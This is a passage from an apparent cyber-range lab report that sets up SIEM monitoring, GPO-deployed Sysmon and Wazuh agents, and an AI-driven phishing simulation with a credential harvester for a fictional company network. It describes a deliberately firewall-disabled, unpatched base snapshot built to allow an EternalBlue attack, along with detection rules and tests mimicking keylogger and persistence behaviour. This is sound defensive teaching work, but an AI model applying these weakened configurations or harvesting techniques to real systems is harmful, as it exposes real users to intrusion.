- ‘sudo a2ensite krustykrablocal-ssl.conf’
- ‘sudo systemctl restart apache2’

The next step was to configure the WordPress  
web-page itself to use HTTPS. We located the  
‘/var/www/html/wp-config.php’ file and made the  
necessary configuration changes to force HTTPS for the  
admin area and site URLs ([Figure 2.5.2.1.4.6](#)). Then we  
navigated to the ‘/var/www/html’ directory and configured  
the ‘.htaccess’ file to re-direct all HTTP traffic to HTTPS  
([Figure 2.5.2.1.4.7](#)). Finally, we navigated to the intranet  
and clicked ‘Settings’, ‘General’, and updated the  
‘WordPress Address (URL)’ and ‘Site Address (URL)’  
fields to use ‘https’ instead of ‘http’ ([Figure 2.5.2.1.4.8](#)).

Notes:

When attempting to use HTTPS instead of HTTP, because the certificate is self-signed, browsers will provide a warning stating that the site is using a self-signed certificate and may be fraudulent. It is fine to click ‘Advanced’ and ‘Proceed...’.

### *2.5.3. blueTeamSOCVM Services*

#### *2.5.3.1. Wazuh Service*

blueTeamSOCVM hosts the Wazuh SIEM manager, which serves as the primary security monitoring component of the Krusty Krab network. Wazuh operates as a service on blueTeamSOCVM, continuously receiving security event data from lightweight agents installed on each monitored host. These agents collect log data from sources such as Windows Event Logs, Linux syslogs, and Sysmon. This is Microsoft’s Sysinternals tool deployed to all Windows endpoints via GPO using the SwiftOnSecurity community ruleset [25], which provides detailed telemetry on process creation, network connections, file creation, and registry changes. This data is forwarded to the Wazuh manager over port 1514, where the manager evaluates each event against a library of detection rules, including custom local rules, to determine whether an alert should be generated. When a rule fires at a sufficient severity level, Wazuh triggers an active response: an automated action taken in response to a detected threat. Active responses in

this environment are configured to send email alerts to the designated security officer, Larry Lobster, detailing the rule that fired, the affected endpoint, and relevant process information. Additionally, Wazuh's active response framework is used to automatically synchronize the UFW firewall allowlist on the intranet server whenever agent connectivity changes, ensuring that only registered and trusted endpoints can access the intranet. This combination of centralized log collection, real-time rule evaluation, and automated response makes blueTeamSOCVM the cornerstone of the blue team defensive architecture.

#### 2.5.3.2. *OpenVAS Service*

Alongside Wazuh, blueTeamSOCVM also hosts OpenVAS, an open-source vulnerability scanning service used to proactively identify weaknesses across the Krusty Krab network. OpenVAS operates through the Greenbone Vulnerability Manager (GVM), which provides a web-based interface for configuring and launching scans against target hosts. In this environment, OpenVAS was used to perform authenticated and unauthenticated vulnerability scans against enterprise hosts, generating detailed reports that list discovered vulnerabilities ranked by their CVSS severity score. These reports provide a prioritized list of remediation actions, allowing the most critical vulnerabilities to be addressed first. A notable example from this project was the

identification that the Windows 7 workstation was running without critical security patches, leaving it exposed to the EternalBlue exploit used in the remote access attack scenario. This finding directly informed the defensive response, which involved applying Service Pack 1 and numerous additional Microsoft security updates to bring the machine up to date. By running OpenVAS as a persistent service on blueTeamSOCVM alongside Wazuh, the security operations center is capable of both reactive threat detection through SIEM alerting and proactive vulnerability management through regular network scanning, providing the Krusty Krab organization with a more complete defensive posture.

## *2.6. Group Policy Objects*

### *2.6.1. Notes*

#### *2.6.1.1. Note #1: Group Policy Objects*

Group Policy Objects (GPOs) in Active Directory are used to centrally enforce configuration and execute scripts across domain-joined machines, users, and other devices. In this project, all three current GPOs were used to deploy security tooling and simulation logic to all Windows clients on domain join: ‘Deploy Wazuh’ ([See Section 2.6.2](#)), ‘Deploy Phishing’ ([See Section 2.6.3](#)), ‘Deploy Sysmon’ ([See Section 2.6.4](#)). Each GPO is configured as a ‘Computer Startup Script’ that executes during machine start-up with ‘SYSTEM’ authority.

The general procedure for creating and linking a GPO that runs a start-up script is the same for each of the three GPOs, with differences only in the script name, deployment paths, and any accompanying policy settings. Readers replicating this build will need to obtain the script files from the [Github repository](#) ('scripts/netlogon') and stage them in the 'NETLOGON' share on blueTeamADVM ([See Section 2.6.1.3](#)) before creating each GPO ([See Section 2.6.1.4](#)).

#### *2.6.1.2. Note #2: NETLOGON Share Overview*

The 'NETLOGON' share is a default 'SYSVOL' replicated share on every Active Directory domain controller, accessible to all domain-joined machines via '\\[domain]\NETLOGON' (or '\\[domain controller]\NETLOGON'). It is typically used to store resources that need to be available from every domain-joined machine. In this project, all GPO-deployed scripts and their supporting binaries (Wazuh agent MSI, Sysmon executables, Sysmon configuration file, active response handler) are found in '\\krustykrab.local\NETLOGON' and '\\krustykrab.local\NETLOGON\software'.

#### *2.6.1.3. Note #3: Staging Scripts and Binary Files*

Before creating any GPO, the script and supporting files must be present in the appropriate 'NETLOGON' sub-paths on blueTeamADVM. To stage the files, we opened 'File Explorer' on blueTeamADVM and navigated to 'C:\Windows\SYSVOL\sysvol\krustykrab.local\scripts', which is the local-disk path for the '\\krustykrab.local\NETLOGON'

share. We placed each of the following files into this directory ([Figure 2.6.1.3.1](#)):

- ‘install-wazuh.ps1’
- ‘deploy\_phishing\_FUNCTIONAL.ps1’
- ‘deploy\_phishing\_SECURE.ps1’
- ‘phishing\_simulation\_FUNCTIONAL.ps1’
- ‘phishing\_simulation\_SECURE.ps1’
- ‘install-sysmon.ps1’

Next, we created a ‘software’ sub-directory by right-clicking inside the share, selecting ‘New’, ‘Folder’, and naming it ‘software’ ([Figure 2.6.1.3.2](#)). Inside the ‘software’ folder we placed:

- ‘wazuh-agent-4.14.3-1.msi’
- ‘kill-process-agent.cmd’
- ‘Sysmon64-v13.exe’
- ‘Sysmon64.exe’
- ‘sysmonconfig.xml’

Source files for each of these scripts and binaries are available in the [Github repository](#) (‘scripts/netlogon’, ‘config/sysmon’) either directly or via a link in the ‘References’ section of this report. Readers may download them, transfer them to blueTeamADVM (for example, via shared clipboard, the user’s desktop, or a USB shared drive), and copy them into the locations above.

#### *2.6.1.4. Note #4: Creating a GPO and Linking a Startup Script*

The general procedure for creating a new GPO and linking a computer start-up script in ‘Group Policy Management’ is consistent across each of the three GPOs in this section. From the ‘Server Manager Dashboard’ on blueTeamADVME, we navigated to ‘Tools/Group Policy Manager’ ([Figure 2.6.1.4.1](#)), expanded the ‘Forest:krustykrab.local’ node, expanded ‘Domains’, and selected ‘krustykrab.local’. We expanded ‘Group Policy Objects’, right-clicked on ‘Group Policy Objects’, selected ‘New’ ([Figure 2.6.1.4.2](#)), entered the name of the GPO (e.g., ‘Deploy Wazuh’), left ‘Source Starter GPO’ as ‘(none)’, and clicked ‘OK’ ([Figure 2.6.1.4.3](#)).

We then right-clicked the new GPO under ‘Group Policy Objects’ and selected ‘Edit’ to open the ‘Group Policy Management Editor’ ([Figure 2.6.1.4.4](#)). To configure the start-up script, we navigated to ‘Computer Configuration/Policies/Windows Settings/Scripts (Startup/Shutdown)’ ([Figure 2.6.1.4.5](#)), double-clicked ‘Startup’, clicked ‘PowerShell Scripts’, ‘Add...’ ([Figure 2.6.1.4.6](#)), and in the ‘Add a script’ dialog, entered the ‘UNC’ path to the script in the ‘Script Name’ field (e.g., ‘\\krustykrab.local\NETLOGON\install-wazuh.ps1’) and clicked ‘OK’ ([Figure 2.6.1.4.7](#)), ‘Apply’, and ‘OK’.

Finally, we linked the GPO to the domain root so it applies to all domain-joined machines. From the ‘Group Policy Management’ tree, we right-clicked on ‘krustykrab.local’ (the domain node, not the GPO), selected ‘Link an Existing GPO...’ ([Figure 2.6.1.4.8](#)), selected the newly created GPO from the list, and clicked ‘OK’ ([Figure 2.6.1.4.9](#)). Additional per-policy settings (such as PowerShell execution policy or wait-for-network behavior) required for a GPO are documented within each GPO’s section.

## 2.6.2. *Deploy Wazuh*

### 2.6.2.1. *Deploy Wazuh Notes*

The ‘Deploy Wazuh’ GPO uses the following files staged in the ‘NETLOGON’ share ([See Section 2.6.1.2](#)):

- ‘\\krustykrab.local\NETLOGON\install-wazuh.ps1’
- ‘\\krustykrab.local\NETLOGON\software\wazuh-agent-4.14.3-1.msi’
- ‘\\krustykrab.local\NETLOGON\software\kill-process-agent.cmd’

We created the GPO via ‘Group Policy Management’ ([See Section 2.6.1.4](#)), named it ‘Deploy Wazuh’, and linked it to the domain root. The start-up script path entered in the ‘Add a Script’ dialog was ‘\\krustykrab.local\NETLOGON\install-wazuh.ps1’. No additional policy settings are required for this GPO.

If Wazuh installs successfully but agent registration fails (can be confirmed by opening the Wazuh Agent on the endpoint and checking the ‘Authentication key’ field or checking the logs at ‘C:\Windows\Temp\wazuh-install.txt’), it will be necessary to uninstall Wazuh so that the ‘Deploy Wazuh’ GPO attempts deployment and authentication again ([Figure 2.6.2.1.1](#)). We recommend uninstalling the agent through ‘Control Panel/Uninstall a program’ for a clean uninstallation ([Figure 2.6.2.1.2](#)). If the operation hangs, it may be necessary to first stop the ‘Wazuh’ service through ‘Services’ ([Figure 2.6.2.1.3](#)). If the authentication fails, it is likely that there is an issue with the Wazuh service or OpenVPN service running on blueTeamSOCVM, simply restarting blueTeamSOCVM should resolve the issue. It is also possible that there is already a (broken or stale) entry in the Wazuh Manager with a hostname matching the hostname of the host attempting to register, and it is necessary to delete the stale agent record, possible through the Wazuh Dashboard from ‘Agents/[Agent]/Actions/Remove’ before the host attempts to register again ([Figure 2.6.2.1.4](#)).

#### *2.6.2.2. Base Policy*

This policy does not apply to the base snapshot set.

#### *2.6.2.3. Secure Policy*

In the secure snapshot set, the Wazuh agent is deployed to all domain-joined Windows machines via the GPO 'Deploy Wazuh' configured as a computer start-up script pointing to '\\krustykrab.local\NETLOGON\install-wazuh.ps1'. The script runs at machine startup as 'SYSTEM' and begins by waiting up to three minutes for the 'NETLOGON' share to become reachable, retrying every ten seconds before aborting. Once the share is available, the script checks whether the Wazuh service already exists on the local machine. If it does, the service is started if not already running and no further installation steps are taken. If the service is absent, the script copies the Wazuh agent MSI installer from '\\krustykrab.local\NETLOGON\software\wazuh-agent-4.14.3-1.msi' to a local temp path and runs a silent installation, passing the Wazuh manager IP address (in our case 10.8.0.8, blueTeamSOCVM) as both the manager and registration server. After installation, the script runs 'agent-auth.exe' to register the agent with the manager, waiting up to three minutes for the manager to become reachable via ICMP before proceeding. The Wazuh service is then started and verified.

A second independent block in the script handles the deployment of 'kill-process-agent.cmd' ([See Section 2.7.1](#)) to the Wazuh active response binary directory at 'C:\Program Files

(x86)\ossec-agent\active-response\bin\'. This file is the active response script invoked by the Wazuh manager when a detection rule fires. The script verifies both the presence of the file and a signature string embedded within it (WAZUH-KK-AR-V1). If either check fails, the file is re-deployed from ‘\\krustykrab.local\NETLOGON\software\kill-process-agent.cmd’ and the signature is verified again after deployment. This ensures the correct version of the active response handler is always in place regardless of whether the agent was freshly installed or already present.

### 2.6.3. *Deploy Phishing*

#### 2.6.3.1. *Deploy Phishing Notes*

The ‘Deploy Phishing’ GPO uses the following files staged in the ‘NETLOGON’ share ([See Section 2.6.1.2](#)):

- ‘\\krustykrab.local\NETLOGON\deploy\_phishing\_[FUNCTIONAL, SECURE].ps1’
- ‘\\krustykrab.local\NETLOGON\phishing\_simulation\_[FUNCTIONAL, SECURE].ps1’

In the ‘Functional’ snapshot set, the ‘deploy\_phishing\_FUNCTIONAL.ps1’ and ‘phishing\_simulation\_FUNCTIONAL.ps1’ files should be used, while the ‘deploy\_phishing\_SECURE.ps1’ and ‘phishing\_simulation\_SECURE.ps1’ files should be used for the

‘Secure’ snapshot set. We created the GPO via ‘Group Policy Management’ ([See Section 2.6.1.4](#)), named it ‘Deploy Phishing’, and linked it to the domain root. The start-up script path entered in the ‘Add a Script’ dialog was

‘\\krustykrab.local\NETLOGON\deploy\_phishing\_[FUNCTIONAL, SECURE].ps1’. This GPO requires three additional policy settings to function properly. We configured each by navigating within the ‘Group Policy Management Editor’ for this GPO:

First, to allow PowerShell scripts to execute at start-up, we navigated to ‘Computer Configuration/Policies/Administrative Templates/Windows Components/Windows PowerShell/Turn on Script Execution’ ([Figure 2.6.3.1.1](#)), double-clicked the policy, selected ‘Enabled’, set ‘Execution Policy’ to ‘Allow all scripts’, and clicked ‘Apply’ and ‘OK’ ([Figure 2.6.3.1.2](#)). Second, to allow the scheduled tasks this script creates to run under specific domain user accounts, we navigated to ‘Computer Configuration/Policies/Windows Settings/Security Settings/Local Policies/User Rights Assignment/Log on as a batch job’ ([Figure 2.6.3.1.3](#)), double-clicked the policy, checked ‘Define these policy settings’, clicked ‘Add User or Group...’, ‘Browse...’, entered ‘Domain Users’, clicked ‘Check Names’, ‘OK’, ‘OK’, and clicked ‘Apply’ and ‘OK’ ([Figure 2.6.3.1.4](#)). Third, to ensure the network is available before the start-up script attempts to access the

‘NETLOGON’ share, we navigated to ‘Computer Configuration/Policies/Administrative Templates/System/Logon/Always wait for the network at computer startup and logon’ ([Figure 2.6.3.1.5](#)), double-clicked the policy, selected ‘Enabled’, and clicked ‘Apply’ and ‘OK’ ([Figure 2.6.3.1.6](#)).

A successful deployment of the phishing GPO should have the log file showing the task creation for the applicable users, registration, and on the domain controller the patching (PC will not need to be connected to battery) ([Figure 2.6.3.1.7](#)). Soon after, the ‘C:\Scripts\’ directory and the child ‘...logs\’ directory should begin populating with each user’s mail activity ([Figure 2.6.3.1.8](#)). After the GPO deploys, it will be necessary to navigate to the MailEnable sign in portal and sign in with each user’s credentials, as this will cause their corresponding mailboxes to be automatically created ([Figure 2.6.3.1.9](#)).

#### *2.6.3.2. Base Policy*

In the base snapshot, the phishing logic is deployed in the environment via GPO to all windows machines. The GPO is named ‘Deploy Phishing’ and is configured as a ‘Computer Startup Script’ under ‘Computer Configuration/Policies/Windows Settings/Scripts/Startup’ pointing to ‘\\krustykrab.local\NETLOGON\deploy\_phishing\_FUNCTIONAL

.ps1'. An accompanying policy setting under 'Computer Configuration/Policies/Administrative Templates/Windows Components/Windows Powershell/Turn on Script Execution' is set to 'Allow all scripts' to ensure PowerShell scripts are not blocked by the execution policy at start-up. A second policy under 'Computer Configuration/Policies/Windows Settings/Security Settings/Local Policies/User Rights Assignment/Log on as a batch job' includes 'Domain Users', which allows the scheduled tasks this policy creates to run under specific domain user accounts. In addition, we set 'Computer Configuration/Policies/Administrative Templates/System/Logon/Always wait for the network at computer startup and logon' is set to 'Enabled', which ensures the network is available before the script attempts to access the 'NETLOGON' share.

The deploy script, 'deploy\_phishing\_FUNCTIONAL.ps1', runs during machine startup with 'SYSTEM' authority. It waits for the 'NETLOGON' directory to become available, copies 'phishing\_simulation\_[FUNCTIONAL, SECURE].ps1' to 'C:\Scripts\' on the local machine, and creates per-user scheduled tasks for each domain user assigned to the machine (e.g., in our environment, 'Eugene Krabs' is assigned to blueTeamWin10VM). Each task runs every five minutes as the corresponding domain user, executing the simulation script with '-ExecutionPolicy

Bypass' and '-WindowsStyle Hidden'. On blueTeamWin7VM, the task is created using the legacy 'schtasks' command without elevated privilege flags. On Windows 8 and above, the task is created with 'RL HIGHEST' and subsequently patched via PowerShell cmdlets to remove battery restrictions and enable 'start-when-available' behavior (for our version of Windows 10, this patch did not seem to work, but it did work on blueTeamADVM).

The simulation script 'phishing\_simulation\_FUNCTIONAL.ps1' runs as each domain user on their assigned machine every five minutes. One each run, it connects to the user's MailEnable mailbox via IMAP, 'rolls' to generate and send an out-bound work email via the Anthropic API [26], and processes each message in the inbox. Phishing emails are evaluated using AI-driven decision logic that considers the character's competence score driven by a mood modifier and known vulnerability profile. Depending on that score, the 'user' will evaluate an email and determine whether it is authentic or phishing, and if it fails to detect a malicious email sent by our phishing demonstration script, simulates clicking a link and submitting their sign-in credentials to a harvesting script listening on the same attacker machine. It may also simulate downloading and running a malicious attachment, or replying with sensitive

information. E-mails determined to be legitimate are kept in the inbox. Credential submissions only occur when the actual harvester URL is present in the email body, preventing false credential submissions from legitimate emails that the user falsely determines to be phishing.

#### 2.6.3.3. *Secure Policy*

In the secure snapshot, the ‘...SECURE’ phishing simulation script retains the same logic and additionally contains a defensive escalation chain and the potential for phishing training via emails tagged with a specific subject line set via the ‘\$TrainingSubject’ variable. The training emails have a dynamic impact on users’ competence scores based on the effectiveness of the email determined by the AI. ‘Users’ may “report” suspicious emails and by forwarding them to the IT personnel (e.g., ‘Sandy Cheeks’), who escalates user reported emails to the cybersecurity personnel (e.g., ‘Larry Lobster’) and sends the reporter an acknowledgement email. The cybersecurity personnel validates the report after analyzing the sender, subject, and body, and if confirmed as potentially malicious, takes action based on whether the sender is external or internal. For external senders, Larry sends an in-character security warning to all non-security staff and briefs the owner on the threat with potential business impact. For internal senders, Larry first determines whether the sender address belongs

to a real employee mailbox; if it does not, the address is treated as fabricated and Larry sends an alert to all staff. If it does belong to a real employee, Larry cross-checks a sender-verification header ('X-KK-Sender'), stamped on every message sent through the simulation's own mail function and validated against the mail server via SMTP authentication, against the claimed sender address. A missing or mismatched stamp indicates the address was spoofed rather than genuinely used, and Larry responds with an email to all staff without taking any action. Only when the stamp is present and matches does Larry proceed to an AI-driven compromised or false-alarm assessment: if compromised, Larry resets the affected employee's Active Directory password and flags it for change on the next sign-in event, directs Sandy to investigate the machine for malware, and notifies the owner; if a false alarm, Sandy and the owner are notified accordingly. Sandy and Larry's own initial handling of incoming mail is also informed by this verification mechanism: an internal-looking sender lacking a valid stamp is treated with scrutiny rather than automatic trust, while other employees have no means of checking this header in-character; for them, trust in an internal-looking sender instead scales with their competence score rather than being unconditional. Additionally, Sandy delivers phishing awareness training emails to staff, which incrementally improve their competence scores with

gradual decay in the absence of continued reinforcement and diminishing returns, capping out at 40% above their baseline score. Duplicate training emails do not improve scores, and are detected through the storing and validating hashes of previous emails. In the secure environment, the cybersecurity personnel also receives and triages real security alert emails from Wazuh to his mailbox, assessing whether each reflects genuinely suspicious activity or benign noise from the simulation's own scheduled tasks; on a confirmed-suspicious finding, Larry tasks Sandy with investigating the affected endpoint and briefs the owner regarding the event.

#### *2.6.4. Deploy Sysmon*

##### *2.6.4.1. Deploy Sysmon Notes*

The 'Deploy Sysmon' GPO uses the following files staged in the 'NETLOGON' share ([See Section 2.6.1.2](#)):

- '\\krustykrab.local\NETLOGON\install-sysmon.ps1'
- '\\krustykrab.local\NETLOGON\software\Sysmon64-v13.exe' [13]
- '\\krustykrab.local\NETLOGON\software\Sysmon64.exe' [12]
- '\\krustykrab.local\NETLOGON\software\sysmonconfig.xml'

We created the GPO via 'Group Policy Management' ([See Section 2.6.1.4](#)), named it 'Deploy Sysmon', and linked it to the

domain root. The start-up script path entered in the ‘Add a Script’ dialog was ‘\krustykrab.local\NETLOGON\install-sysmon.ps1’. No additional policy settings beyond the start-up script are required, but the same ‘Always wait for the network at computer startup and logon’ and ‘Allow all scripts’ policies associated with the ‘Deploy Phishing’ policy are necessary for this policy as well (already applied to the local machine through the other policy).

#### 2.6.4.2. *Base Policy*

This policy does not apply to the base snapshot set.

#### 2.6.4.3. *Secure Policy*

Sysmon is deployed to all domain-joined Windows machines via a GPO configured as a computer start-up script that points to ‘\\krustykrab.local\NETLOGON\install-sysmon.ps1’. Sysmon extends the default Windows event logging capabilities by generating detailed telemetry about process creation, network connections, file creation, and other system activity, which the Wazuh agent collects and forwards to the manager for rule evaluation and alert generation and sending. The script runs at start-up as ‘SYSTEM’ and waits up to three minutes for the ‘NETLOGON’ share to become reachable before proceeding. The script detects the OS version and selects the appropriate Sysmon binary accordingly: System v13 for Windows 7 machines, sourced from ‘Sysmon64-v13.exe’, and Sysmon v15 for Windows 10 and

Server machines, sourced from 'Sysmon64.exe'. Both binaries and the shared configuration file 'sysmonconfig.xml' are stored in '\\krustykrab.local\NETLOGON\software\'. If Sysmon is not already installed, the script copies both the binary and configuration file to local temp paths and installs Sysmon silently with the EULA accepted. If Sysmon is already installed, the script updates the running configuration file from the copy in the 'NETLOGON' share without re-installing it. In both cases the script verifies the 'Sysmon64' service is present and running after the operation completes.

#### *2.6.5. Disable Windows Firewall*

##### *2.6.5.1. Disable Windows Firewall Notes*

The 'Disable Windows Firewall' GPO is a domain-wide policy that disables the Windows Defender Firewall on all domain-joined Windows machines that are in the 'Computers' OU under both the Domain and Private profiles. This reflects a posture commonly observed in real-world organizational environments, even today, where host firewalls are frequently disabled domain-wide under the assumption that a perimeter firewall or network segmentation provides sufficient protection, or simply to reduce friction during deployment and troubleshooting. The base snapshot therefore represents not only an unpatched environment but one with no host-level firewall enforcement on any Windows

endpoint, a combination that directly enables the EternalBlue remote access attack demonstrated in [Section 3.1](#), where the attacker reaches SMB port 445 on blueTeamWin7VM without obstruction.

#### 2.6.5.2. *Base Policy*

After creating and linking the GPO ([See Section 2.6.1.4](#)), we opened the ‘Group Policy Management Editor’ for this GPO and navigated to ‘Computer Configuration/Policies/Windows Settings/Security Settings/Windows Firewall with Advanced Security/Windows Firewall with Advanced Security’. We then right-clicked ‘Windows Defender Firewall with Advanced Security’ and selected ‘Properties’ ([Figure 2.6.5.2.1](#), [Figure 2.6.5.2.2](#)). In the ‘Domain Profile’ tab, we set ‘Firewall state’ to ‘Off’ and clicked ‘Apply’ ([Figure 2.6.5.2.3](#)). We then selected the ‘Private Profile’ tab, set ‘Firewall state’ to ‘Off’, and clicked ‘Apply’ and ‘OK’ ([Figure 2.6.5.2.4](#)). Finally, after returning to the home screen and selecting the GPO, we removed ‘Authenticated Users’ from ‘Security Filtering’ under the ‘Scope’ tab ([Figure 2.6.5.2.5](#)), clicked on ‘Add’, entered ‘Domain Computers’, clicked ‘Check Names’ and ‘OK’ ([Figure 2.6.5.2.6](#)).

Notes:

The ‘Public Profile’ may optionally be disabled as well, but the Domain and Private profiles are the relevant ones for

domain-joined machines operating within the simulated LAN.

After applying this GPO to domain-joined machines, the Windows Defender Firewall status in the Security Center will reflect the policy-enforced off state and the toggle will be greyed out, indicating that the setting is managed by Group Policy and cannot be overridden locally.

#### 2.6.5.3. *Secure Policy*

This policy does not apply to the secure snapshot set. In the secure snapshot, this GPO is unlinked from the domain root, allowing Windows Defender Firewall to return to its default enabled state on domain-joined machines. Re-enabling the host firewall is a meaningful layer of defense-in-depth: even on an unpatched Windows 7 host, a host firewall blocking inbound traffic on port 445 would have prevented the EternalBlue exploit from reaching the SMBv1 service, regardless of patch status.

To unlink the GPO, from ‘Group Policy Management’ we right-clicked the ‘Disable Windows Firewall’ link under ‘krustykrab.local’ and selected ‘Delete’ (choosing to remove the link, not delete the GPO itself) ([Figure 2.6.5.3.1](#)). After the next Group Policy refresh or machine restart, the firewall state on domain-joined machines returns to its default enabled posture.

## 2.7. Miscellaneous Scripts

### 2.7.1. *kill-process-agent.cmd*

'kill-process-agent.cmd' is located on each domain-joined Windows machine at 'C:\Program Files (x86)\ossec-agent\active-response\bin\' and is deployed there by 'install-wazuh.ps1' via the 'Deploy Wazuh' GPO. It is the agent-side active response script invoked by the Wazuh manager when a detection rule configured for active response fires. The script is identified by a signature string 'WAZUH-KK-AR-V1' embedded in its header, which 'install-wazuh.ps1' checks against on every deployment run to ensure the correct version is present.

When triggered, the script receives a JSON payload from the Wazuh Manager over standard input describing the alert that fired. Because Windows command prompt has significant limitations with reading and processing long JSON input, the script delegates stdin reading and JSON Field extraction to inline PowerShell commands. It extracts the target process ID, process image path, rule ID, and username from the alert payload and logs each field to the agent's active response log at 'C:\Program Files (x86)\ossec-agent\active-response\active-responses.log' ([Figure 2.7.1.1](#)). Before attempting termination, the script confirms the target process is still running via 'tasklist'. If the process is found, it is forcibly terminated using 'taskkill /F'. Whether the kill succeeded, failed, or was unnecessary because the process had already exited, the outcome is

written to the log. The script is configured to handle rules 100013, 100014, 100015, 100016, and 100017, which correspond to processes launched from suspicious paths, scripting engines spawned by browser-named processes, and PowerShell invocations referencing keylogger APIs.

#### 2.7.2. *kill-process.sh*

‘kill-process.sh’ is located on blueTeamSOCVM at ‘/var/ossec/active-response/bin/kill-process.sh’. Unlike ‘kill-process-agent.cmd’ ([See Section 2.7.1](#)), which executes on the individual agent that generated a matching alert, this is a server-side active response, invoked directly by the Wazuh Manager itself whenever a detection rule configured for active response fires (rules 100010-100021).

The script receives the same JSON alert payload as ‘kill-process-agent.cmd’ via standard input. A single ‘dd’ read followed by a call to an embedded Python interpreter is used to parse this payload reliably, since bash’s own string handling is not well suited to nested JSON. The script extracts the rule ID and description, the reporting agent’s name and IP address, and, where the alert stems from a Sysmon process-creation event, the offending process’s image path, command line, PID, user, and parent process. Each field is logged to ‘/var/ossec/logs/active-responses.log’ before any further action is taken.

Notably, ‘kill-process.sh’ does not terminate any process itself. Instead, it determines which of two response messages applies to the rule

that fired: rules 100013-100017, the same set bound to ‘kill-process-agent.cmd’ with ‘<location>local</location>’ ([See Section 2.4.5.3.6](#)), are logged as “Process termination dispatched to agent”, since Wazuh evaluates both active-response bindings for the same alert, with ‘kill-process-agent.cmd’ performing the actual kill in parallel on the affected endpoint. All other configured rules (100010-100012, 100018-100021) are logged as “Alert only - no process kill for this rule type”, since no agent-side binding exists for them.

### 2.7.3. *ar-test.ps1*

‘ar-test.ps1’ is located on blueTeamADVM and is run manually as an administrator to verify that the Wazuh active response pipeline is functioning end-to-end across all configured custom detection rules as well as default detection rules. The script writes a time-stamped log to ‘C:\Users\Public\ar-test.log’ and executes seven sequential tests, each designed to trigger a specific Wazuh rule. After each test it waits a configurable number of seconds for the Wazuh Manager to detect the event, generate an alert, and dispatch the active response before reporting the result.

Test 1 (Rule 100012) drops a copy of ‘notepad.exe’ re-named to ‘definitely\_not\_malware.exe’ in ‘C:\Users\Public\’ to trigger Sysmon Event ID 11 file creation detection. An alert email is expected (in our case, to ‘Larry Lobster’) but not the killing of the process. Test 2 (Rule 100013) launches that executable from the suspicious path to trigger Sysmon Event

ID 1 process creation detection and expects both an alert email and the killing of the process via 'kill-process-agent.cmd'. Test 3 (Rule 100014) simulates a browser process spawning a PowerShell child by copying 'cmd.exe' to 'chrome.exe' in 'C:\Users\Public\' and using it to launch a PowerShell process, expecting a kill of the PowerShell child. Test 4 (Rule 100015) launches a PowerShell process with 'GetAsyncKeyState' in the command line to simulate keylogger API usage, expecting both an alert and the killing of the process. Test 5 (Rule 100019) writes a registry run key from a suspicious path to simulate persistence, expecting an alert only. Test 6 (Rule 100020) runs 'net.exe user /domain' to simulate domain enumeration, expecting an alert only. Test 7 (Rule 100021) attempts to launch 'nmap' if present, or falls back to a 'cmd.exe' renamed 'nmap.exe', to trigger the network scanner name detection rule, expecting an alert only ([Figure 2.7.3.1](#)).

After all tests complete, the script cleans up all dropped artifacts and prints a summary of expected outcomes. Three rules are expected to result in killed processes and four rules expected to generate only alert emails sent by the Wazuh Manager - along with the log paths to check for verification on both the manager and agent sides ([Figure 2.7.3.2](#)). After execution, the log file may be checked to review the results of the active-response test ([Figure 2.7.3.3](#)).

#### 2.7.4. *Deploy-SMTPFirewallTask*

‘Deploy-SMTPFirewallTask.ps1’ is located on blueTeamADVM at ‘C:\Scripts\FirewallSync\’ and is run once manually as Administrator on KK-DC to register the SMTP firewall synchronization task. The script first checks whether ‘Sync-SMTPFirewall.ps1’ is present at ‘C:\Scripts\FirewallSync\’ and copies it from the same directory if not. It then creates a scheduled task ‘KK-SyncSMTPFirewall’ that runs as ‘SYSTEM’ at the highest privilege level, triggered both during every system start-up and on a repeating interval every thirty minutes thereafter. The task executes ‘Sync-SMTPFirewall.ps1’ with a five-minute execution time limit. After registering the task, the script immediately runs it and verifies the resulting firewall rules are present ([Figure 2.7.4.1](#)). This script only needs to be ran once; the scheduled task it creates persists across reboots and handles all subsequent synchronization automatically.

#### 2.7.5. *Sync-SMTPFirewall*

‘Sync-SMTPFirewall.ps1’ is located on blueTeamADVM at ‘C:\Scripts\FirewallSync\’ and is executed by the ‘KK-SyncSMTPFirewall’ scheduled task at start-up and every thirty minutes. Its purpose is to dynamically maintain a Windows Firewall allow-list for inbound SMTP traffic on port 25, restricting access to only domain-joined machines while blocking all other hosts on the network (e.g., redTeamXUVM). Because the DNS entry for the intranet is simply ‘intranet’ rather than blueTeamIntraVM, the AD-based lookup fails for

blueTeamIntraVM. In addition, because blueTeamSOCVM is not domain-joined, the lookup fails for blueTeamSOCVM as well.

On each run, the script queries Active Directory for all enabled computer accounts, resolves each machine's IP address via 'Resolve-DnsName', and builds an allow-list consisting of localhost and the IP address of every domain-joined machine. Static fall-back IPs for known machines that are not domain-joined or have mismatching DNS entries (e.g., blueTeamSOCVM, blueTeamIntraVM) are appended to ensure the allow-list remains complete. The script then disables MailEnable's built-in 'MailEnable SMTP (Inbound)' firewall rule, which would otherwise allow inbound SMTP connections from any source and over-ride the custom rules. Finally, it removes any previously created allow rules and recreates a single 'Allow SMTP - Domain Hosts' rule covering the white-listed IPs, relying on the Windows Firewall default inbound deny policy to block everything else ([Figure 2.7.4.1](#)).

This script addresses a discovered vulnerability in which any machine on the same network as domain-joined machines was able to connect to port 25 on the mail server and send email as any internal address due to MailEnable's open relay configuration. Because some scripts in this environment legitimately send mail from addresses other than the authenticated user's own address, disabling relay entirely was not feasible. The firewall-based approach instead restricts which hosts can reach port 25 at the network level, preventing potentially malicious

machines from sending spoofed internal emails while leaving legitimate mail-flow unaffected. This is considered a partial remediation pending a more mature solution.

#### 2.7.6. *Wazuh Manager - Intranet Firewall Synchronization Script*

‘sync-agents-ufw.sh’ is located on blueTeamSOCVM at ‘/var/ossec/active-response/bin/sync-agents-ufw.sh’ and is invoked by the Wazuh Manager as an active-response command whenever the connectivity status of a registered agent changes, including when the agent connects, disconnects, or registers for the first time. Its purpose is to dynamically maintain the firewall allow-list on blueTeamIntraVM for inbound HTTP (port 80) and HTTPS (port 443) traffic, ensuring that only hosts registered with the Wazuh Manager can reach the intranet on ports 80 and 443. On each invocation, the script authenticates to the Wazuh Manager REST API at ‘https://localhost:55000/’ using the ‘wazuh-wui’ service account, obtaining a JWT bearer token. It then queries the ‘/agents’ end-point for all agents regardless of status (active, pending, never connected, disconnected) and extracts the IP address of each. For each IP address that is neither the loop-back address (‘127.0.0.1’) nor the intranet machine itself (‘10.8.0.9’), the script connects to blueTeamIntraVM via SSH using the service key at ‘/var/ossec/.ssh/id\_rsa’ and runs ‘sudo ufw allow from [IP] to any port 80,443 proto tcp’ on the remote machine. Each addition is logged 